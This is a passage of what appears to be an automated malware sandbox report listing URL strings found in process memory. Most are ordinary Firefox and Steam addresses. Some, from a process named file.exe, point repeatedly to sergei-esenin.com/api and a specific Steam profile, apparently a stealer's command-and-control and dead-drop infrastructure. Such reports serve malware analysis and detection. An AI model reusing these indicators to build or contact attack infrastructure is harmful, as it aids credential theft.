Source: firefox.exe, 00000015.00000003.1779239585.0000010CA712D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1981244253.0000010CA7135000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1877716437.0000010CA7132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1777667783.0000010CA7133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1779014537.0000010CA7110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000015.00000003.1927863356.0000010CAF949000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1924558467.0000010CB3A93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1953441059.0000010CB3A93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 00000015.00000003.1978184882.0000010CA9048000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000015.00000003.1939850905.0000010CA971B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1968540685.0000010CA9724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000015.00000003.1970396041.0000010CA94D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1977481755.0000010CA94D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1940940152.0000010CA94D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000015.00000003.1939850905.0000010CA9727000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1968540685.0000010CA9727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000015.00000003.1939850905.0000010CA9727000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1968540685.0000010CA9727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000015.00000003.1948934504.0000010CA921F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1817448763.0000010CA921D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: file.exe, file.exe, 00000000.00000003.1468513841.000000000186D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535066246.000000000184C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1456344715.0000000001867000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535144848.0000000001858000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484877780.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1440121307.0000000001854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.1469098259.000000000186D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1485074206.000000000186E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515095151.000000000186C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1657941664.000000000186C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/66
Source: file.exe, file.exe, 00000000.00000003.1487240311.000000000185C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535144848.0000000001858000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487064088.0000000001861000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502976750.0000000001858000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1503093870.000000000185C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1487115093.0000000001854000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515181402.0000000001854000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515159076.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.1487064088.0000000001861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api9
Source: file.exe, 00000000.00000003.1657987786.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiI
Source: file.exe, 00000000.00000003.1515159076.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/f
Source: file.exe, 00000000.00000003.1535066246.000000000184C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/gcB
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000015.00000003.1826544677.0000010CA9D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1991089475.0000010CA9D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1937521236.0000010CA9D67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1965659846.0000010CA9D67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000015.00000003.1940940152.0000010CA94CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1967244977.0000010CA9818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000015.00000003.1983769555.0000010CB3550000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000015.00000003.1967244977.0000010CA982B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1967244977.0000010CA9818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 00000015.00000003.2004070838.0000010CA7BDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000015.00000003.2004070838.0000010CA7BDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806418356.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1986003364.0000010CAF547000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDB12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD08813000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000015.00000003.1806418356.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984498299.0000010CAF984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958796746.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000015.00000003.1961253396.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1930974662.0000010CAF6B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2649897407.000001CD088F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000015.00000003.1968540685.0000010CA9787000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000015.00000003.1968540685.0000010CA9787000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA875D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2000150466.0000010CA87CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1415866051.00000000017D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/Al
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415866051.00000000017D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415866051.00000000017D3000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415866051.00000000017D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.1415866051.00000000017D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319001l
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900bCd
Source: file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb3e1a0cb63bea3f
